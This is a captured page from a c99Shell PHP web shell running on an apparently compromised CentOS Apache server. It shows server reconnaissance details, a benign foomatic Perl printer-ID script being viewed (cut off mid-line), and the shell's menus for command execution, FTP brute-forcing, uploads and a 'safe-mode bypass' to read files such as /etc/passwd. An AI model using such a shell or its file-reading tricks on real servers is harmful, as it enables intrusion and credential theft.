!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/sbin/   drwxr-xr-x
Free 52.28 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     foomatic-nonumericalids (4.39 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

# This is foomatic-nonumericalids, it renames all printer entries with a
# numerical ID and generates a translation table.

use Foomatic::Defaults;
use Foomatic::DB qw/get_overview/;
# Needs "get_overview" to be added to the "@EXPORT_OK" list of DB.pm!

# Read out the program name with which we were called, but discard the path
$0 =~ m!/([^/]+)\s*$!;
$progname = $1;

my $db = new Foomatic::DB;

# Get the printer overview list as a Perl data structure
$db->get_overview();

# Find all numerical IDs, determine new clear-text IDs, and rename the
# printer entry files.
my @oldidlist;
my @newidlist;
my @translationtable;
my %idhash;

my $printer;
for $printer (@{$db->{'overview'}}) {
    # Nothing to do if ID is not numerical
    next if $printer->{'id'} !~ /^\d/;
    # Generate new ID from make and model name
    $newid = join('-',($printer->{'make'},
		       $printer->{'model'}));
    $newid =~ s![ /,\(\)\?]!_!g;
    $newid =~ s![\+]!plus!g;
    $newid =~ s![\&]!_and_!g;
    $newid =~ s!__+!_!g;
    $newid =~ s!_$!!;
    $newid =~ s!_-!-!;
    $newid =~ s!^_!!;
    # Append a number in case of duplicate IDs
    if (member($newid, @newidlist)) {
	print "WARNING: ID \"$newid\" already exists, ";
	$newid .= '_';
	my $i = 1;
	while (member("$newid$i", @newidlist)) {
	    $i ++;
	}
	$newid .= $i;
	print "using \"$newid\",\n";
    }
    print "$printer->{'make'} $printer->{'model'}: $printer->{'id'} -> $newid\n";
    # Add change to lists
    push (@oldidlist, "db/source/printer/$printer->{'id'}.xml\n");
    push (@newidlist, "db/source/printer/$newid.xml\n");
    push (@translationtable, "$printer->{'id'} $newid\n");
    $idhash{$printer->{'id'}} = $newid;
    # Rename the printer entry file
    system("mv $libdir/db/source/printer/$printer->{'id'}.xml $libdir/db/source/printer/$newid.xml") and
	die "Could not rename $printer->{'id'}.xml to $newid.xml.\n";
    print "   Renamed $printer->{'id'}.xml to $newid.xml.\n";
}

# Translation table to convert old numerical printer IDs to new
# clear-text ones
my $file = "$libdir/db/oldprinterids";
open FILE, "> $file" 
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--